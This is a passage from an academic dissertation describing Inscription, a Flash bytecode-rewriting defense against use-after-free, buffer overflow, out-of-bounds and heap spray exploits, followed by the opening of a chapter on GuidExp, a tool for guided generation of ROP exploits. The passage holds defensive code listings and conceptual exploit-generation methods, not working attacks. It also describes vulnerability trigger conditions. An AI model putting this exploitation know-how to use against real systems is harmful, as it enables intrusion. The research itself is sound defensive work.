APIs that expose explicit free operations to apps, and wrapped all such operations in

untrusted apps. This potentially generalizes Inscription’s defense to zero-day exploits.

For example, our crawler helped in introducing protections for year-2015 CVEs 0313,

5119, 0311, 3128, 5122, 5561, 7652, 8044, 8046, 8049, 8050, 8140, and 8413, without

any explicit prior knowledge of any of these CVEs.

For example, Inscription is able to prevent the zero-day exploit of CVE-2018-

4878 discovered on Feb 2, 2018 [85], even though our defense implementation pre-

dates the discovery of that vulnerability. The vulnerability is triggered by nullify-

ing the DRMOperationCompleteListener [8] event listener object subscribed by a

MediaPlayer instance, causing the AVM to prematurely free the object. Our IRM de-

fense automatically delays such nullifications until the MediaPlayer has been notified,

blocking the UAF.

The exploit we introduced in case study #1 (Section 3.2.2) is a UAF vulnerability

that exploit AVM’s mismanagement of object pointers. To mitigate this UAF exploit,

Inscription implements a SafeApplicationDomain wrapper class that replaces App-
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Listing 4.3: IRM guard-code for ByteArray object assignment to shared domainMemory
1 i f ( hashtab le [ byteArray1 ] > hashtab le [ byteArray1 ]+1)
2 integer_over f l ow_error ( ) ;
3 else {
4 hashtab le [ byteArray1 ]++;
5 ApplicationDomain . currentDomain . domainMemory=byteArray1 ;
6 }

licationDomain on vulnerable VMs. The wrapper ensures that a ByteArray shared

amongst multiple workers is never inconsistently freed. To to so, the memory manager

hash table described in Section 4.3.1 counts the number of subscribers (i.e., referencing

workers) for every ByteArray object in the untrusted SWF, instead of merely tracking

frees. Our rewriter then instruments operations that assign ByteArray objects to the

domainMemory property with guard code that updates the subscriber count.

Enforcing this policy leverages a combination of direct bytecode in-lining and class-

wrapping. The pre-compilation phase first creates the wrapper in Listing 4.1 with

subscriber counts as values.

The overridden clear() method (lines 10–15) only allows a ByteArray to be freed

when its subscriber count reaches 0. Inscription’s rewriter merges this monitor package

into the untrusted SWF so that every call to ByteArray() and ByteArray.clear()

is intercepted by our overridden methods.

To track and update subscriber counts, the rewriter must update the table whenever

a ByteArray is assigned to a shared domainMemory property. This cannot be achieved

by class-wrapping since the wrapper class does not have access to assignment operations

outside its class. Inscription therefore applies direct bytecode instruction modification

to secure such operations.

Listing 4.3 expresses the modified bytecode as source code (although the actual

transformation is performed at the binary level). Before each security-relevant as-

signment (line 5), Inscription in-lines bytecode that increments its subscriber count
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(line 4). To thwart arithmetic overflow attacks against the counter, both operations

are additionally guarded by an overflow check (lines 1–3). When the domainMemory

shared object stops subscribing to the byteArray1, the IRM decrements the subscriber

count (not shown here). When the subscriber count becomes 0, byteArray1 becomes

clearable again (see line 11 of Listing 4.1).

Another large group of UAF exploits against legacy Flash Players are rooted in a

logical flaw wherein numerous AVM implementations fail to consider that the semantics

of assignment operations in AS implicitly invoke the valueOf method of the assigned

object when a type coersion is needed, and valueOf may be overridden by the app

to perform unexpected side-effects. AVM implementations with this vulnerability

fall prey to UAF attacks when the AVM fails to recheck its object pointers after the

assignment completes, erroneously assuming that their referents cannot have been

freed during the assignment.

Inscription blocks these attacks by introducing bytecode at sites of assignment-

solicited type-coersions in order to force the coersion (and the resulting call to valueOf)

to occur strictly before the VM begins processing the assignment. Forcing the coersion

early ensures that legacy VMs never attempt the coersions amidst assignments, thereby

evading the vulnerability.

The exploit we introduced in case study #2 (Section 3.2.2) exploits that the AVM

fails to consider side-effects of overridden valueOf functions. Inscription’s defense

ensures that the index supplied to the ByteArray operator [] and the value assigned

to it are both either a Number or a byte. To implement the policy we use rewriting

techniques #1 and #2 in conjunction (please see §4.2 for our rewriting techniques).

We create a wrapper class (Listing 4.4) with a safe_dereference() method (Line 4)

which takes three arguments—(1) the class of the object whose element is being

accessed using the [] operator, (2) index of the element being referenced, and (3)

the object/value that is to be assigned. If the class being operated on is ByteArray
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(Line 5), then we simply coerce the object/value to a primitive type Number (Line 6),

subsequently removing the side-effects of the valueOf() method. If the class in context

is not ByteArray, our IRM safely proceeds with the original [] operation (Line 8),

depending on the class in context. Next using rewriting technique #1 we replace all

calls to operator [] with our safe_dereference() method at the bytecode level.

Our rewriter then merges our monitor package with the untrusted SWF so that

our IRM is able to intercept every assignment operation involving [] operator.

The solution requires bytecode instrumentation using technique #1 because the

wrapper class (technique #2) is not capable of intercepting the [] operator at run

time. So we proceed with technique #1 to instrument the [] operator in the untrusted

SWF’s bytecode and replace it with a call to the safe_dereference method in the

wrapper class.

4.3.3 Buffer Overflow Defense

A buffer overflow condition exists when a program attempts to put more data in a

buffer than it can hold or when a program attempts to put data in a memory area

past a buffer. In this case, a buffer is a sequential section of memory allocated to

contain anything from a character string to an array of integers. Writing outside the

bounds of a block of allocated memory can corrupt data, crash the program, or cause

Listing 4.4: SafeDereference wrapper class
1 package Monitor{
2 import f l a s h . u t i l s .ByteArray ;
3 public class Sa f eDere f e r ence {
4 public s t a t i c function s a f e_de r e f e r ence ( obj , index , va lue ) : void{
5 i f ( obj i s ByteArray)
6 obj [ index ] = Number( va lue ) ;
7 else
8 obj [ index ] = value ;
9 }
10 }
11 }
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the execution of malicious code.

Inscription’s defense against the buffer overflow exploit introduced in case study #6

(Section 3.2.5), which attempts to initialize a ShaderJob object with a height of 1025

in asynchronous mode. The ShaderJob object utilizes a predefined BitmapData’object.

Inscription intercepts the assignments of the height and width properties of a ShaderJob

object when the object is started in asynchronous mode. If the ShaderJob object is

running, and its new height/width is going to exceed the predefined BitmapData’s

height or width, Inscription restricts this assignment, hence, thwarting the buffer

overflow.

4.3.4 Out-of-Bounds Read Defense

An Out-of-Bounds Read vulnerability occurs when the program reads data past the

end, or before the beginning, of the intended buffer. This typically occurs when the

pointer or its index is incremented or decremented to a position beyond the bounds of

the buffer or when pointer arithmetic results in a position outside of the valid memory

location to name a few. This may result in corruption of sensitive information, a crash,

or malicious code execution among other things.

Inscription’s defense against the exploit mentioned in case study #5 (Section 3.2.4),

is to provide a wrapper for the RegExp AS3 class which can be seen in Listing 4.6. At

the binary level, Inscription replaces all calls to the exec method of the RegExp class

with the Safe_RegExp function provided by the wrapper (shown in Listing 4.5), to

investigate the pattern of the regular expression. The Safe_RegExp function restricts

the number of open parentheses to 49, and returns returns a boolean value indicating

whether the regular expression is safe to be created.
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Listing 4.5: Replacing RegExp.exec function with Safe_RegExp at binary level
1 i f (RegExpTest . Safe_RegExp (〈pattern〉 , 〈flag〉 ) )
2 var re : RegExp = new RegExp(〈pattern〉 , 〈flag〉 ) ;

4.3.5 Heap Spray Defense

Inscription’s defense to prevent heap spray attacks ensures that (i) a large String

(> 1000 bytes) is not written to a ByteArray, and (ii) a String is not repeatedly (>

100 times) written to the same ByteArray.We chose to restrict the maximum size for

a byte sequence to 1000 bytes based on a well-known patent for heap spray detection

in ActionScript [127], and limit the number of times a byte sequence is sprayed on

the heap to 100 times to demonstrate the feasibility of our mitigation. Our approach

would work for any byte sequence size below the page-size limit of the underlying

machine.

To implement this defense, our IRM tracks the size and number of times a String is

written to a ByteArray using a global, thread-safe hash-table. Our rewriter targets the

security-relevant operation of writing a String to a ByteArray. Our rewriter, using

technique #2, first creates a wrapper for the flash.utils.ByteArray class. Our wrap-

Listing 4.6: Wrapper for the RegExp class
1 package Monitor {
2 public class RegExpWrapper {
3 public s t a t i c function
4 Safe_RegExp ( pattern : String , f l a g : String ) {
5 var l e f t_parenthes i s_counte r = 0 ;
6 for (var i : i n t = 0 ; i < pattern . l ength ; i++) {
7 i f ( pattern . charAt ( i ) == " ( " ) {
8 i f (++le f t_parenthes i s_counte r > 49)
9 return fa l se ;
10 }
11 }
12 return true ;
13 }
14 }
15 }
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per augments the flash.utils.ByteArray with a static Dictionary object that im-

plements our global, thread-safe hash-table. The hash-table uses the Strings written to

the ByteArray as keys and the count for the number of times they were written as value.

We show the overridden implementation of ByteArray.writeUTFBytes() method in-

side the wrapper class in Listing 4.7. We have also overridden other methods that

allow writing a String to a ByteArray, such as writeBytes(), writeMultiByte(),

writeUTF(), and writeByte(). Our IRM for this policy is immediately extensible to

other objects, such as Vectors, to which Strings can be written.

In the overridden implementation of method ByteArray.writeUTFBytes() (Lines 11-

22), whenever a String str is written to the ByteArray object (security-relevant

operation), our IRM checks whether str already has an entry in the hash-table. If

an entry for str exists, then its count is incremented by one (Line 13), otherwise

our IRM creates a new entry for str in the hash-table with an initial count of one

(Line 15). If the size of the str is larger than 1000 bytes or if str has already been

written to the ByteArray a 100 times, then our IRM suppresses the write operation

(Line 17) and instead outputs a warning to the log to notify the user of a possible

heap spray attack. If str is within specified size and count threshold, our IRM safely

calls the flash.utils.ByteArray class to proceed with the write.

4.4 A Generalized Solution to Mitigate Use-After-Free and Double-Free

Vulnerabilities in the ActionScript Virtual Machine

Our early discussions let us discover that we can mitigate all UAF and DF vulnera-

bilities (including zero-days) in the AVM by injecting a memory management system as

a wrapper class in Flash executables where each explicit object allocation/deallocation

is recorded. During the runtime, the wrapper class logs all memory activities of user

defined objects along with system libraries that contain predefined explicit function

calls that cause memory activities such as clear(). The logs are stored in a global
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Listing 4.7: Wrapper for flash.utils.ByteArray
1 package Monitor {
2 import f l a s h . u t i l s .ByteArray ;
3 import f l a s h . u t i l s .Dictionary ;
4 public class ByteArray extends f l a s h . u t i l s .ByteArray{
5 private s t a t i c var hashtab le :Dictionary = new Dictionary ( ) ;
6 private var safeCount = 100 ;
7 private var sa feLength = 1000 ;
8 public function ByteArray ( ) {
9 super ( ) ;
10 }
11 ove r r i d e public function writeUTFBytes ( s t r : String ) : void{
12 i f ( hashtab le [ s t r ] == undef ined )
13 hashtab le [ s t r ] = 1 ;
14 else
15 hashtab le [ s t r ] += 1 ;
16 i f ( hashtab le [ s t r ] > safeCount | | s t r . l ength > safeLength ){
17 t r a c e ( "Exceeded␣ s a f e ␣ l im i t . ␣ Po s s i b l e ␣Heap␣Spray" ) ;
18 }
19 else {
20 super . writeUTFBytes ( va lue ) ;
21 }
22 }
23 }
24 }

hashtable where the key is the object reference and the value is the subscription list.

When an object is first initialized, the hashtable entry for this object is simultaneously

created with an empty subscription list. When any other instance subscribes the

object, the subscription list is populated with the subscriber object references.

The global hashtable is used to keep track of memory allocation and deallocation

of objects. When an object is cleared with an explicit function call such as free(),

our wrapper class ensures that the object is freed only if the subscription list is

not empty, and the object has a valid entry in the global hashtable. The wrapper

class therefore blocks DF attempts by checking whether the object has a valid entry

in the hashtable and UAF attempts by checking the size of the subscriber list of

the object. The wrapper class is able to stop zero-day attacks that exploit DF and

UAF vulnerabilities as the wrapper class keeps track of memory activities of all user

defined and predefined objects. That means our memory management mechanism is
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vulnerability-independent. We also built the global hashtable as a private property of

the wrapper class so that attackers that have knowledge of the wrapper class cannot

interfere with functionality of the memory management layer.

4.5 Experimental Results

We created proof-of-concept exploits for each vulnerability class presented in §4.3

in order to fully test our solution. Our proof-of-concept exploits are modeled after

real-world exploit analyses and vulnerability descriptions found in popular exploit

and security research archives such as Google Security Research Database [83], Ex-

ploitDB [168], KernelMode.info [106], and security blogs by research companies such

as TrendMicro [218], FireEye [70] and TrustWave [219]. All ads were created using

Adobe Flash Builder v4.7.

Table 4.1 summarizes our experimental results for the proof-of-concept exploits and

the corresponding policies. All experiments were conducted on a machine with a 2.5

GHz Intel Core i5 processor with 8GB RAM. The parser, rewriter, and code-generator

for AS3 bytecode were written in Java using JDK v1.8.0_144. For computing the total

rewriting time for each policy, we ran each policy rewriter ten times and computed the

average. Rewriting times include the linear search performed to locate code fragments

requiring instrumentation, and the in-lining of security guard code and reified security

state variables. However, these instrumentation times are typically negligible since

only a tiny portion of most SWF files are comprised of code; the majority of the content

Table 4.1: Performance Benchmarks for Proof-of-Concepts Exploit Code

Vulnerability Rewriter Rewriting SWF Size (bytes) Execution Time (ms)
Case Study Class Type Time (ms) Before After Before After

#3 (§3.2.3) DF (2) 154 3893 4266 (+9.6%) 198.9 217.4 (+9.3%)
#4 (§3.2.3) DF (1) 115 1281 1374 (+7.3%) 9.0 10.4 (+15.6%)
#1 (§3.2.2) UAF (1) & (2) 100 1656 1737 (+4.9%) 211.3 231.5 (+9.6%)
#2 (§3.2.2) UAF (1) & (2) 146 936 1359 (+45.2%) 30.3 32.7 (+7.9%)
#5 (§3.2.4) OoB (1) & (2) 71 330 558 (+69.09%) 1.0 1.1 (+10.0%)
#6 (§3.2.5) Buffer Overflow (1) 56 482 488 (+1.24%) 1 1 (+0.0%)

Heap Spray (2) 133 1283 1901 (+48.2%) 1.0 1.2 (+20.0%)
Average 110 1408 1669 (+18.5%) 64.6 70.7 (+9.07%)

(1) direct bytecode instrumentation, (2) wrapper class instrumentation
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Table 4.2: Performance Benchmarks for Benign SWFs

Filename Size (bytes) of Size (bytes) of Rewriting
ABC (before) ABC (after) Time (ms)

atmosenergy 708 708 (+0.0%) 50
att 21,532 22,332 (+3.71%) 141
beetle 80,707 81,534 (+1.02%) 412
CookieSetter 598 598 (+0.0%) 53
ecls 2,007 2,007 (+0.0%) 55
eco 2,007 2,007 (+0.0%) 57
expandall 2,778 2,778 (+0.0%) 58
flash_animation 2,980 2,980 (+0.0%) 59
freechat_313 2,273 2,273 (+0.0%) 55
fxcm 1,738 1,738 (+0.0%) 52
gen_live 21,784 22,622 (+3.84%) 176
gm 22,037 22,897 (+3.90%) 146
gucci 1,079 1,079 (+0.0%) 54
hma 2,364 2,364 (+0.0%) 57
iphone 1,152 1,152 (+0.0%) 65
IPLad 1,655 1,655 (+0.0%) 52
jlopez 16,655 16,655 (+0.0%) 113
men1 33,771 34,714 (+2.79%) 219
men2 40,300 41,291 (+2.45%) 256
reliant 4,731 4,731 (+0.0%) 67
t2 919 919 (+0.0%) 49
thehappening 107,548 107,548 (+0.0%) 81
utv 20,635 21,475 (+4.07%) 140
verizon_orig 2,799 2,799 (+0.0%) 80
verizon 3,305 3,305 (+0.0%) 60
verizonm2m 2,245 2,245 (+0.0%) 54
weightwatchers 3,454 3,454 (+0.0%) 58
Average 14,954 15,108 (+1.015%) 100.7

is comprised of images, sounds, and video. Therefore, we believe that even though

our experiments are on proof-of-concept exploits, rewriting times are representative of

real-world apps.

Size overhead of each rewritten SWF was measured using the uncompressed size

of the application bytecode before and after rewriting. Wrapper class and binary

instrumentation contributes additional bytes to SWF files. These percentage size

overheads will be much smaller for real-world, non-malicious SWF files (see 4.2), since

our proof-of-concept exploits are far more densely packed with dangerous code sites

than typical SWFs.

Table 4.2 summarizes performance benchmarks of evaluating Inscription with benign
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SWFs, using the operator [] rewriter. We chose to use this policy rewriter since the

operator [] is the most frequently occurring policy-relevant instruction (out of our

five policies), and therefore represents the worst case scenario in terms of number of

instrumentations needed and rewriting time.

4.6 Discussion

4.6.1 Security Analysis

Inscription IRMs maintain self-integrity and complete mediation within potentially

hostile script environments based on a “last writer wins” principle: By modifying

the untrusted bytecode before it executes, Inscription can automatically replace any

potentially unsafe binary code that might circumvent the IRM enforcement with safe

code during the instrumentation. Thus, since Inscription’s rewriter is the last to write

to the file before it executes, its security controls dominate and constrain all untrusted

control-flows.

Our approach can be applied both to protect against many attacks falling within a

general attack class (e.g., large classes of UAF and DF attacks), and also to protect

against specific attacks that do not fall within a generalizable class (e.g., the regexp

vulnerability discussed in Section 4.3.4).

All wrapper classes are implemented as final classes in a dedicated namespace (i.e.,

Monitor), allowing AS’s object encapsulation and type-safety to prevent untrusted

code from directly accessing the private members of wrapper classes. The bytecode

rewriter then modifies the metadata of the untrusted SWF to change all references to

wrapped classes to instead reference the corresponding wrapper classes. This ensures

that the untrusted SWF uses the safe functions provided by our Monitor class instead

of using unsafe functions in the untrusted class, thereby providing complete mediation.

Flash apps cannot directly self-modify (except by first exploiting a VM bug, which

we prevent), but they can dynamically generate and execute new bytecode via a select

collection of system API methods (e.g., Loader.loadBytes). Inscription wraps these
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methods with bytecode that recursively applies the code rewriting algorithm to dynam-

ically generated code before it executes. Likewise, system API methods that allow AS

code to dynamically generate class references from strings (e.g., flash.utils.getDef-

initionByName) are wrapped with bytecode that substitutes the resulting reference

with one to a wrapper class if the class is wrapped. This prevents untrusted AS code

from acquiring unmediated access to vulnerable classes even by reflective programming.

In direct bytecode rewriting, Inscription’s bytecode rewriter scans the untrusted

code for every occurrence of the vulnerable method and injects guard-code surrounding

it. AS type-safety guarantees that checks in the guard-code are not circumvented.

For policies that use wrapper classes, Inscription’s SWF merge tool replaces every

binary occurrence of the vulnerable method call in the untrusted SWF file with the

corresponding overridden method of the wrapper class instead.

4.6.2 Attack and Defense Design Challenges

Formulating Security Policies. Having a sound and efficient security policy is essential

in order to mitigate web attacks before host machines running exploit scripts for each

aforementioned vulnerability to enforce on legacy VMs. Designing and implementing

a security policy requires a detailed understanding of VM internals, including known

bugs. Vulnerabilities that reside in the AVM are the result of subtle inconsistencies

in the complex language semantics or not well-known security flaws deep inside the

implementation of it. To formulate appropriate security policies, we therefore per-

formed extensive background research and experiments, since the AVM is proprietary

software. Additionally, a thorough knowledge of all ActionScript classes and their

properties involved in the exploits was required to create policies to mitigate such

attacks.

Building, Experimenting, and Testing Defenses. Implementing the mitigation for the

given vulnerabilities requires building the proof-of-concept code (PoC) initially, then

testing the defense against them. It is hard to find PoCs on the web, therefore, we built
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PoCs from scratch by stitching code snippets from different web articles and relevant

information dispersed among a broad array of threat reporting sources. Additionally,

vulnerabilities require a very specific environment in order to be triggered. Thus, we

prepare the correct set up for each vulnerability. In addition, many synchronization

vulnerabilities abuse multi-threading, but neither of Adobe’s Creative Suite tools for

Flash development (Animate CC or Flash Builder) provides the debugging feature for

multi-threading.

ActionScript Bytecode Manipulation. To the best of our knowledge, there are cur-

rently no commercially available libraries or tools for AS bytecode manipulation.

Complicating this problem, the SWF binary format specification is open-ended in

the sense that SWFs may include binary sections with proprietary or otherwise un-

documented content tags; Flash players simply ignore sections with tags they do not

recognize. This unfortunately tasks security tools with the daunting challenge of

recognizing and analyzing all possible tags (even undocumented ones) recognized by

all players in order to secure all malicious content. To develop Inscription, we therefore

pieced together scattered information about many different players, AS compilers,

and AS parsers, to support as many SWFs as possible. While we cannot ensure that

our efforts are fully comprehensive, we successfully tested our prototype on a large

number of ads currently distributed by major ad networks to assess its completeness.

While our overall approach is general enough to mitigate many different VM vulner-

abilities and vulnerability classes (specifically, any computable safety policy [88] and

some non-safety policies [125]), formulating sound and efficient policy implementations

can sometimes require a detailed understanding of VM internals, including known

bugs. To formulate appropriate policies, we therefore performed extensive background

research and experiments, since the AVM2 is not open source. Additionally, a thorough

knowledge of all AS 3.0 classes and their properties involved in the vulnerabilities and

exploits was required to create policies to mitigate further attacks.
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Testing the resulting defenses can also be challenging. Some vulnerabilities require

a very specific environment in order to be triggered; for example, the ByteArray

DF studied in Section 3.2.3 targets SWF version 25 specifically. Many synchroniza-

tion vulnerabilities abuse Workers, but neither of Adobe’s Creative Suite tools for

Flash development (Animate CC or Flash Builder 4.7) have tracing or debugging for

background Workers. To test our policies, we therefore manually created proof-of-

concept ads with full exploits by stitching the exploits from code snippets and relevant

information dispersed among a broad array of threat reporting sources.

4.6.3 Deployment

We conservatively assume that most users update their web-browsers and Flash

Players only sporadically, which allows their systems to be compromised by exploits

targeting vulnerabilities that were recently patched.

Our work targets malicious SWFs delivered by exploit kits and malicious third-party

content (e.g., malvertisements) loaded by second-party content (e.g., web pages).

Second-parties do not serve the malicious content directly, so cannot rewrite the

Flash files on their servers. But the loader scripts that they serve to end-users do

see and have the opportunity to rewrite all dynamically loaded content, including

content loaded through re-directions to malicious servers. Our work therefore provides

a means for trustworthy second-parties to protect their end-users from malicious

third-party content by embedding Flash rewriting logic into their loader scripts. This

does not entail updating the end-user’s client, which second-parties generally cannot

do. Third-party malicious content dynamically embedded into otherwise trustworthy

second-party content is one of the most common web attack patterns highlighted in

major threat reports today, motivating this as a potentially high-impact deployment

model.
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4.6.4 Limitations

While our high-level approach can apply to the AVM1 vulnerabilities, our current

prototype implementation does not yet support them. The AVM1 runs AS 1.0 and

2.0 which are very different from AS 3.0, requiring a different parser and rewriter.

Inscription cannot stop malicious events generated within externally loaded files.

For example, in CVE-2016-0967, loading an external .flv file corrupts the stack [82].

However, we do not analyze or instrument the external file before loading; therefore

our IRM cannot protect against it. In SWF binaries, externally loaded files can be

written in languages other than AS (e.g., JS). Protecting against such attacks should

therefore combine Inscription with appropriate defenses for those other languages.

4.7 Conclusion

We have presented the design and implementation of Inscription, a fully automated

Flash code binary transformation system that can guard major Flash vulnerability

categories without modifying vulnerable Flash VMs. We demonstrated two com-

plementary binary transformation approaches, direct monitor in-lining as bytecode

instructions and binary class-wrapping, for flexible and precise instrumentation. In

detailed case-studies, we describe proof-of-concept exploits and mitigation strategies

for five major Flash vulnerability categories.



CHAPTER 5: GuidExp: AUTOMATIC EXPLOIT GENERATION FOR

ACTIONSCRIPT/FLASH VULNERABILITIES1

Determining exploitability [238] of a given vulnerability, or generating an exploit

script that performs a malicious activity in a victim system for that vulnerability, has

historically been a labor-intensive manual process requiring deep security knowledge.

However, with the recent advances in fuzz testing and symbolic execution, several

approaches for automatically generating exploits have been proposed [2, 15, 23, 27, 34,

50, 57, 74, 93, 94, 96, 99, 110, 128, 129, 171, 187, 202, 213, 223, 229, 230, 237, 240].

These approaches, collectively known as the field of AEG, (such as AEG for return-

oriented programming, or control-flow hijacking) are critical for auditing software

security, stress-testing defenses, and attack prevention.

An AEG algorithm or tool is typically used to generate exploit code that leads to an

exploited program state (a program state representing the system image that occurs

immediately after the exploit succeeds) that the attacker wants to reach, such as

obtaining root privileges, or accessing sensitive materials [19] for a given vulnerability.

Thus, the AEG algorithm decides whether the given vulnerability is exploitable. AEG

implementations typically require two inputs: (1) a target application which contains

the vulnerability, and (2) an execution path (also known as the proof-of-concept (PoC)),

which triggers the vulnerability in the target application.

AEG implementations usually consist of two major components, a fuzz tester [140]

and a symbolic execution tool [112]. The fuzz tester helps explore the input-space by

monitoring the execution of randomly generated inputs, and the symbolic execution tool

helps explore the execution-path-space by symbolically executing all possible execution
1This chapter includes joint work [235] with Meera Sridhar and Wontae Choi.
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paths. However, both approaches have their own limitations; a fuzz tester is extremely

unlikely to test all possible behaviors of a program (for e.g., the probability of executing

the "then" branch of the if-statement "if (x==3)" is only 1/232 assuming x is 32-bit

integer value), and symbolic execution encounters the well-known path-explosion

problem in early processing stages of binaries executed by the AVM. Therefore, an

AEG implementation may need to adopt a hybrid approach, switching between the

two techniques [27] when one technique hits its limitations.

Unfortunately, typical fuzz testing approaches do not scale well for applications

taking as input other computer programs, such as language virtual machines. They do

not efficiently generate inputs for complex applications [101, 185]. While smart fuzz

testing approaches [21, 116, 185] can generate random structured inputs (e.g., DNS

packages), they cannot adopt complex grammar rules (e.g., having correct offsets for

function blocks). Thus, traditional fuzz testers typically struggle to perform exploit

generation for language virtual machines.

AEG implementations for language virtual machines also cannot utilize a typical

symbolic execution tool without leveraging a fuzz tester due to limitations of the

symbolic execution. Symbolically executing a language virtual machine raises the

path-explosion problem in the early stage of the AEG process because the virtual

machine produces an execution branch for every instruction it can read during the

parsing phase of inputs to obtain the sequence of instructions to be performed.

Although the general purpose of path selection heuristics is to deal with execution-

path space [19, 100, 110, 200], they are not immediately helpful as the number of

execution branches that symbolic execution tools need to interpret is almost as many

as all possible inputs that the language virtual machine can take.

In this work, we focus on exploit generation targeting vulnerabilities in language

virtual machines, specifically the AVM. We choose the AVM as our target application

since over the last five years more than 700 vulnerabilities were discovered in the
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AVM versions. In 2016, ActionScript vulnerabilities were the primary vehicle for web-

based ransomware and banking trojans, accounting for ∼80% of successful Nuclear

exploits [47] and six of the top ten exploit kit vulnerabilities [186]. More recently, in

2018 and 2019, four zero-day exploits, CVE-2018-4878,15982 [160, 162], and CVE-

2019-8069,8070 [164, 165] were discovered. In addition, the National Vulnerability

Database (NVD) rated the severity of 14 AVM vulnerabilities [146], discovered in the

last two years, at 9.8 out 10 and identified them as critical [161].

Vulnerabilities in language virtual machines prevail due to complex functionalities

and language features, and lack of an airtight implementation that preserves the

high-level virtual machine semantics. Given the enormous number of vulnerabilities

residing in the implementation of language virtual machines, and the perniciousness

and severity of these vulnerabilities, having an accurate and systematic approach

to judge whether these vulnerabilities are exploitable is critical for building robust

defenses. AEG implementations that leverage traditional fuzz testing and symbolic

execution engines will not work here due to aforementioned limitations of these

techniques.

We present GuidExp, the first guided (semi-automatic) exploit generation tool

that does not rely on fuzz testers or symbolic execution engines. While typical AEG

implementations aim to synthesize the exploit script whose execution path reaches

one of predefined exploited program states, GuidExp leverages exploit deconstruction,

a technique of splitting the execution path that reaches the exploit program state into

many shorter paths. Hence, GuidExp can concentrate on synthesizing code snippets

that follow these shorter paths. GuidExp expects that program states on which the

execution path is split are given and described by security experts as exploit subgoals.

An exploit subgoal declares the achievement of synthesizing a code snippet that

performs a malicious activity such as ’having a corrupted memory space which

is larger than 0x40000000 bytes’. Execution of an exploit subgoal sets the stage
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for executing the next exploit subgoal. After synthesizing all code snippets, therefore,

GuidExp stitches the code snippets that achieve exploit subgoals together to obtain

the exploit script.

Additionally, unlike the other AEG implementations, GuidExp adopts several

different principles. First, GuidExp aims to reach only one exploited program state

decided by the security experts. Second, GuidExp focuses on producing the exploit

script whose execution reaches the exploited program state with the shortest execution

path since it explores the execution-path-space as level-order. Third, GuidExp ensures

that the execution of the exploit script visits all other program states given by security

experts that are used to split the exploit script into smaller code snippets. Since

GuidExp does not leverage a fuzz tester or a symbolic execution tool, it needs to be

guided through execution-path-space to these program states.

Unlike typical fuzz testers, which explore execution paths by randomly mutating the

given seed input (in our case the seed input is the PoC), GuidExp generates exploit

scripts by not only mutating instruction sequences inside the given PoC, but also

modifying the metadata of the PoC based on the mutation. Modifying the instruction

sequence in the PoC requires modifying the metadata to allow the AVM to correctly

interpret the new, modified instruction sequence. Otherwise, the AVM will not be

able to parse the generated exploit scripts and would drop them since they would not

be grammatically correct. Modifying instructions inside the PoC may require making

several changes to the metadata, including but not limited to, increasing the length

of the function in which instructions are inserted, adding the name of variables to

the constant pool, and changing the return type of a function. Therefore, GuidExp

verifies the coherence between the metadata and the instruction sequence of exploit

scripts it generates before executing them in the AVM.

In this chapter, we focus on generating Return-Oriented Programming (ROP) [196]

attack scripts, and demonstrate such an attack for an AVM vulnerability that we use as
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our running example. In an ROP attack, an attacker hijacks program control-flow by

gaining control of the call stack and then executes carefully chosen machine instruction

sequences that are already present in the machine’s memory, called gadgets [30]. Each

gadget typically ends with a return instruction that allows the attacker to craft an

instruction chain that performs arbitrary operations. We want to highlight, however,

that GuidExp can synthesize exploit scripts that perform any type of attack (not

just ROP) for given vulnerabilities if the corresponding PoC and exploit subgoals are

provided.

The contributions and impacts of our work are as follows:

• To our knowledge, we build the first guided (semi-automatic) exploit genera-

tion tool, GuidExp, targeting vulnerabilities residing in the implementation

of language virtual machines, specifically AVM, which run highly-structured

binaries.

• We present exploit deconstruction, a strategy of splitting exploit scripts that

AEG implementations produce into smaller code blocks. Therefore, GuidExp

concentrates on synthesizing these smaller code blocks in sequence rather than

the entire exploit at once. In our running example, we show that exploit

deconstruction can reduce the complexity of the AEG process by a factor of

1045.

• We outline a detailed running example where we synthesize the exploit script,

which performs an ROP attack, for a real-world AVM use-after-free vulnerability.

In addition, we report on the production of exploit scripts for ten other real-world

AVM vulnerabilities.

• Alongside exploit deconstruction, we utilize three other optimization techniques,

(1) operand stack verification, (2) instruction tiling, and (3) feedback from the

AVM, to facilitate the exploit generation process. We report that in our running
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example, these techniques reduce the complexity of the process by a factor of

1024, 81.9, and 2.38 respectively.

The rest of the chapter is organized as follows. Section 5.1.1 describes an overview

and our technical approach. Section 5.2 presents implementation details of GuidExp

including our running example. Section 5.3 introduces our optimization techniques,

and Section 5.4 outlines experimental results. Section 5.5 discusses the security analysis

of our approach, and design challenges. Sections 5.6 concludes.

5.1 Overview

5.1.1 Structure of a Typical ROP Attack

In this section, we introduce the structure of a typical ROP attack. GuidExp uses

ROP attacks as representative attacks, because since 2015 almost 80% (547/698) of

disclosed ActionScript vulnerabilities could lead to an arbitrary code execution by

implementing an ROP attack [148]. Therefore, we ensure that GuidExp is expected

and capable of generating exploit scripts that perform an ROP attack, which is one of

the most complicated types of cyberattacks.

Fig. 5.1 depicts the structure of a typical ROP attack. An ROP attack starts

Figure 5.1: Structure of a typical ROP
attack

Figure 5.2: Structure of our target ex-
ploit
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with executing the PoC—the piece of code which triggers the vulnerability. The PoC

corrupts the memory by performing activities such as creating a dangling pointer, or

mangling the structure of the garbage collector. However, the execution of the PoC

should not raise a kernel panic [60] (a system error from which operating systems

cannot quickly or easily recover), because otherwise, the exploit that contains the

PoC would result in the same kernel panic, and the operating system terminates the

execution of the exploits before they perform their intended malicious activities. The

ROP attack exploits the resulting corrupted memory that the execution of the PoC

caused, and performs unauthorized activities on the memory until it builds a gadget

chain performing the arbitrary operations. The ROP attack achieves its malicious

end goal in several exploit subgoals, each subgoal which we demonstrate with Code

Segment # in the Fig. 5.1.

5.1.2 Intuition Behind Target Exploit Generation

In order to facilitate exploit generation, we define a structure for our target exploit,

which is a high-level, semantic outline of the final exploit we expect GuidExp to

generate. That is, GuidExp will generate code which is semantically equivalent to

the target exploit.

Fig. 5.2 depicts the structure of our target exploit. The first portion of our target

exploit consists of the trigger slice—the PoC. Execution of the trigger slice causes

vulnerable code segments in the AVM to be executed, but it performs no further

activity so as not to raise kernel panic. For a given vulnerability, GuidExp will use the

same trigger slice as a prefix to an entire set of executables to be tested for potential

exploit candidacy, therefore it is important that the trigger slice avoids kernel panic,

since otherwise, the generated executables will result in kernel panic causing our AEG

process to fail.

The remaining part of the target exploit consists of a series of exploit subgoals—

semantic goals for each step of the synthesized exploit; each exploit subgoal will be
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used by GuidExp to synthesize code blocks that will achieve that particular semantic

goal. Together, the series of subgoals will produce code that will constitute the final

exploit script. For example, a typical exploit subgoal in an ROP exploit (denoted

by ’Corrupting a Buffer Space Implicitly’ in Fig. 5.2) corrupts the size of

